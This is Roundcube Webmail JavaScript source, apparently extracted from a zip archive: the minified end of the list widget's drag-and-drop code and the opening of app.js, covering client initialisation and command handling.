e,i,s=this.rows[t]?this.rows[t].obj:null;s&&this.frame&&(i=0,!(e=Number(s.offsetTop))&&this.rows[t].parent_uid&&(t=this.find_root(this.rows[t].uid),this.expand_all(this.rows[t]),e=Number(s.offsetTop)),this.fixed_header&&(i=Number(this.thead.offsetHeight)),e<Number(this.frame.scrollTop)+i?this.frame.scrollTop=e-i:e+Number(s.offsetHeight)>Number(this.frame.scrollTop)+Number(this.frame.offsetHeight)&&(this.frame.scrollTop=e+Number(s.offsetHeight)-Number(this.frame.offsetHeight)))},drag_mouse_move:function(t){if("touchmove"==t.type){if(1!=t.touches.length||1!=t.changedTouches.length)return rcube_event.cancel(t);t=rcube_event.touchevent(t.changedTouches[0])}if(this.drag_start){var e=rcube_event.get_mouse_pos(t),i=[],s=this;if(!this.drag_mouse_start||Math.abs(e.x-this.drag_mouse_start.x)<3&&Math.abs(e.y-this.drag_mouse_start.y)<3)return!1;this.drag_start_pos={left:e.x,top:e.y},this.draglayer?this.draglayer.html(""):this.draglayer=$("<div>").attr("id","rcmdraglayer").css({position:"absolute",display:"none","z-index":2e3}).appendTo(document.body),$(this.row_tagname()+".selected",this.tbody).each(function(){var t=s.get_row_uid(this),e=s.rows[t];if(e&&!(-1<$.inArray(t,i)))return i.push(t),e.has_children&&!e.expanded&&$.each(s.row_children(t),function(){-1<$.inArray(this,i)||i.push(this)}),!(11<i.length)&&void 0});function o(t){return t&&(t=$(t).clone(),$(t).find(".skip-on-drag").remove()),t?t.text():""}var r,n,h=s.subject_column();$.each(i,function(t,e){if(10<t)return s.draglayer.append($("<div>").text("...")),!1;r=s.rows[e].obj,n="",$(r).children(s.col_tagname()).each(function(t,e){if((h<0||0<=h&&h==t)&&(n=o(e)))return!1}),(n=n.length?n:o($(r).children(".subject").first())).length&&(n=50<(n=n.trim()).length?n.substring(0,50)+"...":n,s.draglayer.append($("<div>").text(n)))}),this.draglayer.show(),this.drag_active=!0,this.triggerEvent("dragstart")}return this.drag_active&&this.draglayer&&(e=rcube_event.get_mouse_pos(t),this.draglayer.css({left:e.x+20+"px",top:e.y-5+(bw.ie?document.documentElement.scrollTop:0)+"px"}),this.triggerEvent("dragmove",t||window.event)),this.drag_start=!1},drag_mouse_up:function(t){return document.onmousemove=null,"touchend"==t.type&&1!=t.changedTouches.length||(this.draglayer&&this.draglayer.is(":visible")&&(this.drag_start_pos?this.draglayer.animate(this.drag_start_pos,300,"swing").hide(20):this.draglayer.hide()),this.drag_active&&this.focus(),this.drag_active=!1,rcube_event.remove_listener({event:"mousemove",object:this,method:"drag_mouse_move"}),rcube_event.remove_listener({event:"mouseup",object:this,method:"drag_mouse_up"}),bw.touch&&(rcube_event.remove_listener({event:"touchmove",object:this,method:"drag_mouse_move"}),rcube_event.remove_listener({event:"touchend",object:this,method:"drag_mouse_up"})),this.del_dragfix(),this.triggerEvent("dragend",t)),rcube_event.cancel(t)},column_drag_mouse_move:function(t){if(this.drag_start){var e=rcube_event.get_mouse_pos(t);if(!this.drag_mouse_start||Math.abs(e.x-this.drag_mouse_start.x)<3&&Math.abs(e.y-this.drag_mouse_start.y)<3)return!1;if(!this.col_draglayer){var e=$(this.list).offset(),i=this.thead.rows[0].cells;for(e.top+=this.list.scrollTop+this.list.parentNode.scrollTop,this.col_draglayer=$("<div>").attr("id","rcmcoldraglayer").css(e).css({position:"absolute","z-index":2001,"background-color":"white",opacity:.75,height:this.frame.offsetHeight-2+"px",width:this.frame.offsetWidth-2+"px"}).appendTo(document.body).append($("<div>").attr("id","rcmcolumnindicator").css({position:"absolute","border-right":"2px dotted #555","z-index":2002,height:this.frame.offsetHeight-2+"px"})),this.cols=[],this.list_pos=this.list_min_pos=e.left,s=0;s<i.length;s++)this.cols[s]=i[s].offsetWidth,null!==this.column_fixed&&s<=this.column_fixed&&(this.list_min_pos+=this.cols[s])}this.col_draglayer.show(),this.col_drag_active=!0,this.triggerEvent("column_dragstart")}if(this.col_drag_active&&this.col_draglayer){var s,o=0,r=rcube_event.get_mouse_pos(t);for(s=0;s<this.cols.length&&r.x>=this.cols[s]/2+this.list_pos+o;s++)o+=this.cols[s];0==s&&this.list_min_pos>r.x?o=this.list_min_pos-this.list_pos:this.list.rowcount||s!=this.cols.length||(o-=2),$("#rcmcolumnindicator").css({width:o+"px"}),this.triggerEvent("column_dragmove",t||window.event)}return this.drag_start=!1},column_drag_mouse_up:function(t){if(document.onmousemove=null,this.col_draglayer&&(this.col_draglayer.remove(),this.col_draglayer=null),rcube_event.remove_listener({event:"mousemove",object:this,method:"column_drag_mouse_move"}),rcube_event.remove_listener({event:"mouseup",object:this,method:"column_drag_mouse_up"}),this.del_dragfix(),this.col_drag_active&&(this.col_drag_active=!1,this.focus(),this.triggerEvent("column_dragend",t),null!==this.selected_column)&&this.cols&&this.cols.length){for(var e=0,i=rcube_event.get_mouse_pos(t),s=0;s<this.cols.length&&i.x>=this.cols[s]/2+this.list_pos+e;s++)e+=this.cols[s];s!=this.selected_column&&s!=this.selected_column+1&&this.column_replace(this.selected_column,s)}return rcube_event.cancel(t)},row_children:function(t){if(!this.rows[t]||!this.rows[t].has_children)return[];for(var e=[],i=this.rows[t].depth,s=this.rows[t].obj.nextSibling;s;){if(1==s.nodeType&&(r=this.rows[s.uid])){if(!r.depth||r.depth<=i)break;e.push(r.uid)}s=s.nextSibling}return e},add_dragfix:function(){$("iframe").each(function(){$('<div class="iframe-dragdrop-fix"></div>').css({background:"#fff",width:this.offsetWidth+"px",height:this.offsetHeight+"px",position:"absolute",opacity:"0.001",zIndex:1e3}).css($(this).offset()).appendTo(document.body)})},del_dragfix:function(){$("div.iframe-dragdrop-fix").remove()},column_replace:function(t,e){if(this.thead&&this.thead.rows){var i,s=this.thead.rows[0].cells,o=s[t],n=s[e],h=document.createElement("td");for(n?s[0].parentNode.insertBefore(h,n):s[0].parentNode.appendChild(h),s[0].parentNode.replaceChild(o,h),r=0,i=this.tbody.rows.length;r<i;r++)o=(row=this.tbody.rows[r]).cells[t],n=row.cells[e],h=document.createElement("td"),n?row.insertBefore(h,n):row.appendChild(h),row.replaceChild(o,h);this.subject_col==t?this.subject_col=t<e?e-1:e:this.subject_col<t&&e<=this.subject_col?this.subject_col++:this.subject_col>t&&e>=this.subject_col&&this.subject_col--,this.fixed_header&&this.init_header(),this.triggerEvent("column_replace")}},subject_column:function(){return this.subject_col+(this.checkbox_selection?1:0)}},rcube_list_widget.prototype.addEventListener=rcube_event_engine.prototype.addEventListener,rcube_list_widget.prototype.removeEventListener=rcube_event_engine.prototype.removeEventListener,rcube_list_widget.prototype.triggerEvent=rcube_event_engine.prototype.triggerEvent,rcube_list_widget._instances=[];
PK
h�\e�3@����program/js/app.jsnu�[���/**
 * Roundcube Webmail Client Script
 *
 * This file is part of the Roundcube Webmail client
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (C) The Roundcube Dev Team
 * Copyright (C) Kolab Systems AG
 *
 * The JavaScript code in this page is free software: you can
 * redistribute it and/or modify it under the terms of the GNU
 * General Public License (GNU GPL) as published by the Free Software
 * Foundation, either version 3 of the License, or (at your option)
 * any later version.  The code is distributed WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS
 * FOR A PARTICULAR PURPOSE.  See the GNU GPL for more details.
 *
 * As additional permission under GNU GPL version 3 section 7, you
 * may distribute non-source (e.g., minimized or compacted) forms of
 * that code without the copy of the GNU GPL normally required by
 * section 4, provided you include this license notice and a URL
 * through which recipients can access the Corresponding Source.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 *
 * @author Thomas Bruederli <roundcube@gmail.com>
 * @author Aleksander 'A.L.E.C' Machniak <alec@alec.pl>
 * @author Charles McNulty <charles@charlesmcnulty.com>
 *
 * @requires jquery.js, common.js, list.js
 */

function rcube_webmail()
{
  this.labels = {};
  this.buttons = {};
  this.buttons_sel = {};
  this.gui_objects = {};
  this.gui_containers = {};
  this.commands = {};
  this.command_handlers = {};
  this.onloads = [];
  this.messages = {};
  this.group2expand = {};
  this.http_request_jobs = {};
  this.menu_stack = [];
  this.menu_buttons = {};
  this.entity_selectors = [];
  this.image_style = {};
  this.uploads = {};

  // webmail client settings
  this.dblclick_time = 500;
  this.message_time = 5000;
  this.preview_delay_select = 400;
  this.preview_delay_click  = 60;
  this.identifier_expr = /[^0-9a-z_-]/gi;
  this.uploadTimeout = 0; // 0 = no timeout | ajax call timeout for loading attachment


  // environment defaults
  this.env = {
    attachments: {},
    request_timeout: 180,  // seconds
    draft_autosave: 0,     // seconds
    comm_path: './',
    recipients_separator: ',', // @deprecated
    recipients_delimiter: ', ', // @deprecated
    popup_width: 1150,
    popup_width_small: 900,
    thread_padding: '15px'
  };

  // create protected reference to myself
  this.ref = 'rcmail';
  var ref = this;

  // set jQuery ajax options
  $.ajaxSetup({
    cache: false,
    timeout: this.env.request_timeout * 1000,
    error: function(request, status, err){ ref.http_error(request, status, err); },
    beforeSend: function(xmlhttp){ xmlhttp.setRequestHeader('X-Roundcube-Request', ref.env.request_token); }
  });

  // unload fix
  $(window).on('beforeunload', function() { ref.unload = true; });

  // set environment variable(s)
  this.set_env = function(p, value)
  {
    if (p != null && typeof p === 'object' && !value)
      for (var n in p)
        this.env[n] = p[n];
    else
      this.env[p] = value;
  };

  // add a localized label to the client environment
  this.add_label = function(p, value)
  {
    if (typeof p == 'string')
      this.labels[p] = value;
    else if (typeof p == 'object')
      $.extend(this.labels, p);
  };

  // add a button to the button list
  this.register_button = function(command, id, type, act, sel, over)
  {
    var button_prop = {id:id, type:type};

    if (act) button_prop.act = act;
    if (sel) button_prop.sel = sel;
    if (over) button_prop.over = over;

    if (!this.buttons[command])
      this.buttons[command] = [];

    this.buttons[command].push(button_prop);

    if (this.loaded) {
      this.init_button(command, button_prop);
      this.set_button(command, (this.commands[command] ? 'act' : 'pas'));
    }
  };

  // register a button with popup menu, to set its state according to the state of all commands in the menu
  this.register_menu_button = function(button, menu_id)
  {
    if (this.menu_buttons[menu_id]) {
      this.menu_buttons[menu_id][0].push(button);
    }
    else {
      var commands = [];
      $('#' + menu_id).find('a').each(function() {
        var command, link = $(this), onclick = link.attr('onclick');

        if (onclick && String(onclick).match(/rcmail\.command\(\'([^']+)/))
          command = RegExp.$1;
        else
          command = function() { return link.is('.active'); };

        commands.push(command);
      });

      if (commands.length)
        this.menu_buttons[menu_id] = [[button], commands];
    }

    this.set_menu_buttons();
  };

  // set state of a menu button according to state of all menu actions
  this.set_menu_buttons = function()
  {
    // Use timeouts to not block and set menu button states only once
    clearTimeout(this.menu_buttons_timeout);
    this.menu_buttons_timeout = setTimeout(function() {
      $.each(ref.menu_buttons, function() {
        var disabled = true;
        $.each(this[1], function() {
          var is_func = typeof(this) == 'function';
          if ((is_func && this()) || (!is_func && ref.commands[this])) {
            return disabled = false;
          }
        });

        $(this[0]).add($(this[0]).parent('.dropbutton'))
          .addClass(disabled ? 'disabled' : 'active')
          .removeClass(disabled ? 'active' : 'disabled');
      });
    }, 50);
  };

  // register a specific gui object
  this.gui_object = function(name, id)
  {
    this.gui_objects[name] = this.loaded ? rcube_find_object(id) : id;
  };

  // register a container object
  this.gui_container = function(name, id)
  {
    this.gui_containers[name] = id;
  };

  // add a GUI element (html node) to a specified container
  this.add_element = function(elm, container)
  {
    if (this.gui_containers[container] && this.gui_containers[container].jquery)
      this.gui_containers[container].append(elm);
  };

  // register an external handler for a certain command
  this.register_command = function(command, callback, enable)
  {
    this.command_handlers[command] = callback;

    if (enable)
      this.enable_command(command, true);
  };

  // execute the given script on load
  this.add_onload = function(f)
  {
    this.onloads.push(f);
  };

  // initialize webmail client
  this.init = function()
  {
    var n;
    this.task = this.env.task;

    if (!this.env.blankpage)
      this.env.blankpage = 'javascript:false;';

    // find all registered gui containers
    for (n in this.gui_containers)
      this.gui_containers[n] = $('#'+this.gui_containers[n]);

    // find all registered gui objects
    for (n in this.gui_objects)
      this.gui_objects[n] = rcube_find_object(this.gui_objects[n]);

    // init registered buttons
    this.init_buttons();

    // tell parent window that this frame is loaded
    if (this.is_framed()) {
      parent.rcmail.unlock_frame();
    }

    // enable general commands
    this.enable_command('close', 'logout', 'mail', 'addressbook', 'settings', 'save-pref',
      'compose', 'undo', 'about', 'switch-task', 'menu-open', 'menu-close', 'menu-save', true);

    // set active task button
    this.set_button(this.task, 'sel');

    if (this.env.permaurl)
      this.enable_command('permaurl', 'extwin', true);

    switch (this.task) {

      case 'mail':
        // enable mail commands
        this.enable_command('list', 'checkmail', 'add-contact', 'search', 'reset-search', 'collapse-folder', 'import-messages', true);

        if (this.gui_objects.messagelist) {
          // setup message list cols
          this.msglist_setup(this.env.layout);

          this.env.widescreen_list_template = [
            {className: 'threads', cells: ['threads']},
            {className: 'subject', cells: ['fromto', 'date', 'size', 'status', 'subject']},
            {className: 'flags', cells: ['flag', 'attachment']}
          ];

          this.message_list = new rcube_list_widget(this.gui_objects.messagelist, {
            multiselect:true, multiexpand:true, draggable:true, keyboard:true,
            column_movable:this.env.col_movable, dblclick_time:this.dblclick_time
            });
          this.message_list
            .addEventListener('initrow', function(o) { ref.init_message_row(o); })
            .addEventListener('dblclick', function(o) { ref.msglist_dbl_click(o); })
            .addEventListener('keypress', function(o) { ref.msglist_keypress(o); })
            .addEventListener('select', function(o) { ref.msglist_select(o); })
            .addEventListener('dragstart', function(o) { ref.drag_start(o); })
            .addEventListener('dragmove', function(e) { ref.drag_move(e); })
            .addEventListener('dragend', function(e) { ref.drag_end(e); })
            .addEventListener('expandcollapse', function(o) { ref.msglist_expand(o); })
            .addEventListener('column_replace', function(o) { ref.msglist_set_coltypes(o); })
            .init();

          // TODO: this should go into the list-widget code
          $(this.message_list.thead).on('click', 'a.sortcol', function(e){
            return ref.command('sort', $(this).attr('rel'), this);
          });

          this.enable_command('toggle_status', 'toggle_flag', 'sort', true);
          this.enable_command('set-listmode', this.env.threads && !this.is_multifolder_listing());

          // load messages
          var searchfilter = $(this.gui_objects.search_filter).val();
          if (searchfilter && searchfilter != 'ALL')
            this.filter_mailbox(searchfilter);
          else
            this.command('list');

          $(this.gui_objects.qsearchbox).val(this.env.search_text).focusin(function() { ref.message_list.blur(); });
        }

        this.set_button_titles();

        this.env.message_commands = ['show', 'reply', 'reply-all', 'reply-list',
          'move', 'copy', 'delete', 'open', 'mark', 'edit', 'viewsource', 'bounce',
          'print', 'load-attachment', 'download-attachment', 'show-headers', 'hide-headers', 'download',
          'forward', 'forward-inline', 'forward-attachment', 'change-format'];

        if (this.env.action == 'show' || this.env.action == 'preview') {
          this.enable_command(this.env.message_commands, this.env.uid);
          this.enable_command('reply-list', this.env.list_post);

          if (this.env.action == 'show') {
            this.http_request('pagenav', {_uid: this.env.uid, _mbox: this.env.mailbox, _search: this.env.search_request},
              this.display_message('', 'loading'));
          }

          if (this.env.mail_read_time > 0)
            setTimeout(function() {
              ref.http_post('mark', {_uid: ref.env.uid, _flag: 'read', _mbox: ref.env.mailbox, _quiet: 1});
            }, this.env.mail_read_time * 1000);

          if (this.env.blockedobjects) {
            $(this.gui_objects.remoteobjectsmsg).show();
            this.enable_command('load-remote', true);
          }

          // make preview/message frame visible
          if (this.env.action == 'preview' && this.is_framed()) {
            this.enable_command('compose', 'add-contact', false);
            parent.rcmail.show_contentframe(true);
          }

          if ($.inArray('flagged', this.env.message_flags) >= 0) {
            $(document.body).addClass('status-flagged');
          }

          // initialize drag-n-drop on attachments, so they can e.g.
          // be dropped into mail compose attachments in another window
          if (this.gui_objects.attachments)
            $('li > a', this.gui_objects.attachments).not('.drop').on('dragstart', function(e) {
              var n, href = this.href, dt = e.originalEvent.dataTransfer;
              if (dt) {
                // inject username to the uri
                href = href.replace(/^https?:\/\//, function(m) { return m + urlencode(ref.env.username) + '@'});
                // cleanup the node to get filename without the size test
                n = $(this).clone();
                n.children().remove();

                dt.setData('roundcube-uri', href);
                dt.setData('roundcube-name', n.text().trim());
              }
            });

            this.check_mailvelope(this.env.action);
        }
        else if (this.env.action == 'compose') {
          this.env.address_group_stack = [];
          this.env.compose_commands = ['send-attachment', 'remove-attachment', 'send', 'cancel',
            'toggle-editor', 'list-addresses', 'pushgroup', 'search', 'reset-search', 'extwin',
            'insert-response', 'menu-open', 'menu-close', 'load-attachment',
            'download-attachment', 'open-attachment', 'rename-attachment'];

          if (this.env.drafts_mailbox)
            this.env.compose_commands.push('savedraft')

          this.enable_command(this.env.compose_commands, true);

          // add more commands (not enabled)
          $.merge(this.env.compose_commands, ['add-recipient', 'firstpage', 'previouspage', 'nextpage', 'lastpage']);

          if (window.googie) {
            this.env.editor_config.spellchecker = googie;
            this.env.editor_config.spellcheck_observer = function(s) { ref.spellcheck_state(); };

            this.env.compose_commands.push('spellcheck')
            this.enable_command('spellcheck', true);
          }

          // initialize HTML editor
          this.editor_init(null, this.env.composebody);

          // init message compose form
          this.init_messageform();

          this.check_mailvelope(this.env.action);
        }
        else if (this.env.action == 'bounce') {
          this.init_messageform_inputs();
          this.env.compose_commands = [];
        }
        else if (this.env.action == 'get') {
          this.enable_command('download', true);
          this.enable_command('image-scale', 'image-rotate', !!/^image\//.test(this.env.mimetype));

          // Mozilla's PDF.js viewer does not allow printing from host page (#5125)
          // to minimize user confusion we disable the Print button on Firefox < 75
          this.enable_command('print', this.env.mimetype != 'application/pdf' || !bw.mz || bw.vendver >= 75);

          if (this.env.is_message) {
            this.enable_command('reply', 'reply-all', 'edit', 'viewsource',
              'forward', 'forward-inline', 'forward-attachment', 'bounce', true);
            if (this.env.list_post)
              this.enable_command('reply-list', true);
          }

          // center and scale the image in preview frame
          // TODO: Find a better way. Onload is late, also we could use embed.css
          if (this.env.mimetype.startsWith('image/'))
            $(this.gui_objects.messagepartframe).on('load', function() {
              var contents = $(this).contents();

              // do not apply styles to an error page (with no image)
              if (contents.find('img').length)
                contents.find('head').append(
                  '<style type="text/css">'
                  + 'img { max-width:100%; max-height:100%; } ' // scale
                  + 'body { display:flex; align-items:center; justify-content:center; height:100%; margin:0; }' // align
                  + '</style>'
                );
            });
        }
        // show printing dialog unless decryption must be done first
        else if (this.env.action == 'print' && this.env.uid) {
          this.check_mailvelope(this.env.action);
          if (!this.env.is_pgp_content && !this.env.pgp_mime_part) {
            this.print_dialog();
          }
        }

        // get unread count for each mailbox
        if (this.gui_objects.mailboxlist) {
          this.env.unread_counts = {};
          this.gui_objects.folderlist = this.gui_objects.mailboxlist;
          this.http_request('getunread', {_page: this.env.current_page});
        }

        // init address book widget
        if (this.gui_objects.contactslist) {
          this.contact_list = new rcube_list_widget(this.gui_objects.contactslist,
            { multiselect:true, draggable:false, keyboard:true });
          this.contact_list
            .addEventListener('initrow', function(o) { ref.triggerEvent('insertrow', { cid:o.uid, row:o }); })
            .addEventListener('select', function(o) { ref.compose_recipient_select(o); })
            .addEventListener('dblclick', function(o) { ref.compose_add_recipient(); })
            .addEventListener('keypress', function(o) {
              if (o.key_pressed == o.ENTER_KEY) {
                if (!ref.compose_add_recipient()) {
                  // execute link action on <enter> if not a recipient entry
                  if (o.last_selected && String(o.last_selected).charAt(0) == 'G') {
                    $(o.rows[o.last_selected].obj).find('a').first().click();
                  }
                }
              }
            })
            .init();

          // remember last focused address field
          $('#_to,#_cc,#_bcc').focus(function() { ref.env.focused_field = this; });
        }

        if (this.gui_objects.addressbookslist) {
          this.gui_objects.folderlist = this.gui_objects.addressbookslist;
          this.enable_command('list-addresses', true);
        }

        // ask user to send MDN
        if (this.env.mdn_request && this.env.uid) {
            this.mdn_request_dialog(this.env.uid, this.env.mailbox);
        }

        // detect browser capabilities
        if (!this.is_framed() && !this.env.extwin)
          this.browser_capabilities_check();

        break;

      case 'addressbook':
        this.env.address_group_stack = [];

        if (this.gui_objects.folderlist)
          this.env.contactfolders = $.extend($.extend({}, this.env.address_sources), this.env.contactgroups);

        this.enable_command('add', 'import', this.env.writable_source);
        this.enable_command('list', 'listgroup', 'pushgroup', 'popgroup', 'listsearch', 'search', 'reset-search', 'advanced-search', true);

        if (this.gui_objects.contactslist) {
          this.contact_list = new rcube_list_widget(this.gui_objects.contactslist,
            {multiselect:true, draggable:this.gui_objects.folderlist?true:false, keyboard:true});
          this.contact_list
            .addEventListener('initrow', function(o) { ref.triggerEvent('insertrow', { cid:o.uid, row:o }); })
            .addEventListener('keypress', function(o) { ref.list_keypress(o); })
            .addEventListener('select', function(o) { ref.contactlist_select(o); })
            .addEventListener('dragstart', function(o) { ref.drag_start(o); })
            .addEventListener('dragmove', function(e) { ref.drag_move(e); })
            .addEventListener('dragend', function(e) { ref.drag_end(e); })
            .init();

          $(this.gui_objects.qsearchbox).focusin(function() { ref.contact_list.blur(); });

          this.update_group_commands();
          this.command('list');
        }

        if (this.gui_objects.savedsearchlist) {
          this.savedsearchlist = new rcube_treelist_widget(this.gui_objects.savedsearchlist, {
            id_prefix: 'rcmli',
            id_encode: this.html_identifier_encode,
            id_decode: this.html_identifier_decode
          });

          this.savedsearchlist.addEventListener('select', function(node) {
            ref.triggerEvent('selectfolder', { folder:node.id, prefix:'rcmli' }); });
        }

        this.set_page_buttons();

        if (this.env.cid) {
          this.enable_command('show', 'edit', 'qrcode', true);
          // register handlers for group assignment via checkboxes
          if (this.gui_objects.editform) {
            $('input.groupmember').change(function() {
              ref.group_member_change(this.checked ? 'add' : 'del', ref.env.cid, ref.env.source, this.value);
            });
          }
        }

        if (this.gui_objects.editform) {
          this.enable_command('save', true);
          if (this.env.action == 'add' || this.env.action == 'edit' || this.env.action == 'search')
              this.init_contact_form();
        }
        else if (this.env.action == 'print') {
          this.print_dialog();
        }

        break;

      case 'settings':
        this.enable_command('show', 'save', true);

        if (this.env.action == 'identities') {
          this.enable_command('add', this.env.identities_level < 2);
        }
        else if (this.env.action == 'edit-identity' || this.env.action == 'add-identity') {
          this.enable_command('save', 'edit', true);
          this.enable_command('delete', this.env.identities_level < 2);

          if (this.env.action == 'edit-identity') {
            this.check_mailvelope(this.env.action);
          }
        }
        else if (this.env.action == 'folders') {
          this.enable_command('subscribe', 'unsubscribe', 'create-folder', 'rename-folder', true);
        }
        else if (this.env.action == 'edit-folder' && this.gui_objects.editform) {
          this.enable_command('save', 'folder-size', true);
          parent.rcmail.env.exists = this.env.messagecount;
          parent.rcmail.enable_command('purge', this.env.messagecount);
        }
        else if (this.env.action == 'responses') {
          this.enable_command('add', true);
        }

        if (this.gui_objects.identitieslist) {
          this.identity_list = new rcube_list_widget(this.gui_objects.identitieslist,
            {multiselect:false, draggable:false, keyboard:true});
          this.identity_list
            .addEventListener('select', function(o) { ref.identity_select(o); })
            .addEventListener('keypress', function(o) { ref.list_keypress(o); })
            .init()
            .focus();
        }
        else if (this.gui_objects.sectionslist) {
          this.sections_list = new rcube_list_widget(this.gui_objects.sectionslist, {multiselect:false, draggable:false, keyboard:true});
          this.sections_list
            .addEventListener('select', function(o) { ref.section_select(o); })
            .init()
            .focus();
        }
        else if (this.gui_objects.subscriptionlist) {
          this.init_subscription_list();
        }
        else if (this.gui_objects.responseslist) {
          this.responses_list = new rcube_list_widget(this.gui_objects.responseslist, {multiselect:false, draggable:false, keyboard:true});
          this.responses_list
            .addEventListener('select', function(o) { ref.response_select(o); })
            .addEventListener('keypress', function(o) { ref.list_keypress(o); })
            .init()
            .focus();
        }

        break;

      case 'login':
        var tz, tz_name,
            input_user = $('#rcmloginuser'),
            input_tz = $('#rcmlogintz');

        if (input_user.val() == '')
          input_user.focus();
        else
          $('#rcmloginpwd').focus();

        // detect client timezone
        if (window.jstz && (tz = jstz.determine()))
          tz_name = tz.name();

        input_tz.val(tz_name ? tz_name : (new Date().getStdTimezoneOffset() / -60));

        // display 'loading' message on form submit, lock submit button
        $('form').submit(function () {
          $('[type=submit]', this).prop('disabled', true);
          ref.clear_messages();
          ref.display_message('', 'loading');
        });

        break;
    }

    // select first input field in an edit form
    if (this.gui_objects.editform)
      $("input,select,textarea", this.gui_objects.editform)
        .not(':hidden').not(':disabled').first().select().focus();

    // prevent from form submit with Enter key in file input fields
    if (bw.ie)
      $('input[type=file]').keydown(function(e) { if (e.keyCode == '13') e.preventDefault(); });

    // flag object as complete
    this.loaded = true;
    this.env.lastrefresh = new Date();

    // show message
    if (this.pending_message)
      this.display_message.apply(this, this.pending_message);

    // init treelist widget
    if (this.gui_objects.folderlist && window.rcube_treelist_widget
      // some plugins may load rcube_treelist_widget and there's one case
      // when this will cause problems - addressbook widget in compose,
      // which already has been initialized using rcube_list_widget
      && this.gui_objects.folderlist != this.gui_objects.addressbookslist
    ) {
      this.treelist = new rcube_treelist_widget(this.gui_objects.folderlist, {
          selectable: true,
          id_prefix: 'rcmli',
          parent_focus: true,
          id_encode: this.html_identifier_encode,
          id_decode: this.html_identifier_decode,
          check_droptarget: function(node) { return !node.virtual && ref.check_droptarget(node.id) }
      });

      this.treelist
        .addEventListener('collapse', function(node) { ref.folder_collapsed(node) })
        .addEventListener('expand', function(node) { ref.folder_collapsed(node) })
        .addEventListener('beforeselect', function(node) { return !ref.busy; })
        .addEventListener('select', function(node) {
          ref.triggerEvent('selectfolder', { folder:node.id, prefix:'rcmli' });
          ref.mark_all_read_state();
        });
    }

    // activate html5 file drop feature (if browser supports it and if configured)
    if (this.gui_objects.filedrop && this.env.filedrop && window.FormData) {
      $(document.body).on('dragover dragleave drop', function(e) { return ref.document_drag_hover(e, e.type == 'dragover'); });
      $(this.gui_objects.filedrop).addClass('droptarget')
        .on('dragover dragleave', function(e) { return ref.file_drag_hover(e, e.type == 'dragover'); })
        .get(0).addEventListener('drop', function(e) { return ref.file_dropped(e); }, false);
    }

    // catch document (and iframe) mouse clicks
    var body_mouseup = function(e) { return ref.doc_mouse_up(e); };
    $(document.body)
      .mouseup(body_mouseup)
      .keydown(function(e) { return ref.doc_keypress(e); });

    rcube_webmail.set_iframe_events({mouseup: body_mouseup});

    // trigger init event hook
    this.triggerEvent('init', { task:this.task, action:this.env.action });

    // execute all foreign onload scripts
    // @deprecated
    for (n in this.onloads) {
      if (typeof this.onloads[n] === 'string')
        eval(this.onloads[n]);
      else if (typeof this.onloads[n] === 'function')
        this.onloads[n]();
    }

    // register menu buttons
    $('[data-popup]').each(function() { ref.register_menu_button(this, $(this).data('popup')); });

    // start keep-alive and refresh intervals
    this.start_refresh();
    this.start_keepalive();
  };

  this.log = function(msg)
  {
    if (this.env.devel_mode && window.console && console.log)
      console.log(msg);
  };

  /*********************************************************/
  /*********       client command interface        *********/
  /*********************************************************/

  // execute a specific command on the web client
  this.command = function(command, props, obj, event, allow_disabled)
  {
    var ret;

    if (obj && obj.blur && !(event && rcube_event.is_keyboard(event)))
      obj.blur();

    // do nothing if interface is locked by another command
    // with exception for searching reset and menu
    if (this.busy && !(command == 'reset-search' && this.last_command == 'search') && !command.match(/^menu-/))
      return false;

    // let the browser handle this click (shift/ctrl usually opens the link in a new window/tab)
    if ((obj && obj.href && String(obj.href).indexOf('#') < 0) && rcube_event.get_modifier(event)) {
      return true;
    }

    // command not supported or allowed
    if (!allow_disabled && !this.commands[command]) {
      // pass command to parent window
      if (this.is_framed())
        parent.rcmail.command(command, props);

      return false;
    }

    // check input before leaving compose step
    if (this.task == 'mail' && this.env.action == 'compose' && !this.env.server_error && command != 'save-pref'
      && ($.inArray(command, this.env.compose_commands) < 0 || command.startsWith('compose-encrypted') && ref.mailvelope_editor)
      && !this.compose_skip_unsavedcheck
    ) {
      if (!this.env.is_sent && this.cmp_hash != this.compose_field_hash()) {
        this.confirm_dialog(this.get_label('notsentwarning'), 'discard', function() {
            // remove copy from local storage if compose screen is left intentionally
            ref.remove_compose_data(ref.env.compose_id);
            ref.compose_skip_unsavedcheck = true;
            ref.command(command, props, obj, event);
          });

        return false;
      }
    }

    this.last_command = command;
    this.command_aborted = false;

    // trigger plugin hooks
    this.triggerEvent('actionbefore', {props: props, action: command, originalEvent: event});

    if ((ret = this.triggerEvent('before' + command, props || event)) !== undefined) {
      // abort if one of the handlers returned false
      if (ret === false)
        return false;

      props = ret;
    }

    // process external commands
    if (typeof this.command_handlers[command] === 'function') {
      ret = this.command_handlers[command](props, obj, event);
    }
    else if (typeof this.command_handlers[command] === 'string') {
      ret = window[this.command_handlers[command]](props, obj, event);
    }
    // process internal commands
    else {
      ret = this.command_handler(command, props, obj, event);
    }

    if (!this.command_aborted && this.triggerEvent('after' + command, props) === false)
      ret = false;

    this.triggerEvent('actionafter', {props: props, action: command, aborted: this.command_aborted, ret: ret, originalEvent: event});

    if (ret === false)
      return false;

    if ((obj && ret !== true) || this.command_aborted === true)
      return false;

    return true;
  };

  // execute a specific known command
  this.command_handler = function(command, props, obj, event)
  {
    var uid, cid, url, flag;

    // process internal command
    switch (command) {

      // commands to switch task
      case 'logout':
      case 'mail':
      case 'addressbook':
      case 'settings':
        this.switch_task(command);
        break;

      case 'about':
        this.redirect('?_task=settings&_action=about', false);
        break;

      case 'permaurl':
        if (obj && obj.href && obj.target)
          return true;
        if (this.env.permaurl)
          parent.location.href = this.env.permaurl;
        break;

      case 'extwin':
        if (this.env.action == 'compose') {
          var form = this.gui_objects.messageform,
            win = this.open_window('');

          if (win) {
            this.save_compose_form_local();
            this.compose_skip_unsavedcheck = true;
            $("[name='_action']", form).val('compose');
            form.action = this.url('mail/compose', { _id: this.env.compose_id, _extwin: 1 });
            form.target = win.name;
            form.submit();
          }
        }
        else {
          this.open_window(this.env.permaurl, true);
        }
        break;

      case 'change-format':
        url = this.env.permaurl + '&_format=' + props;

        if (this.env.action == 'preview')
          url = url.replace(/_action=show/, '_action=preview') + '&_framed=1';
        if (this.env.extwin)
          url += '&_extwin=1';

        location.href = url;
        break;

      case 'menu-open':
        if (props && props.menu == 'attachmentmenu') {
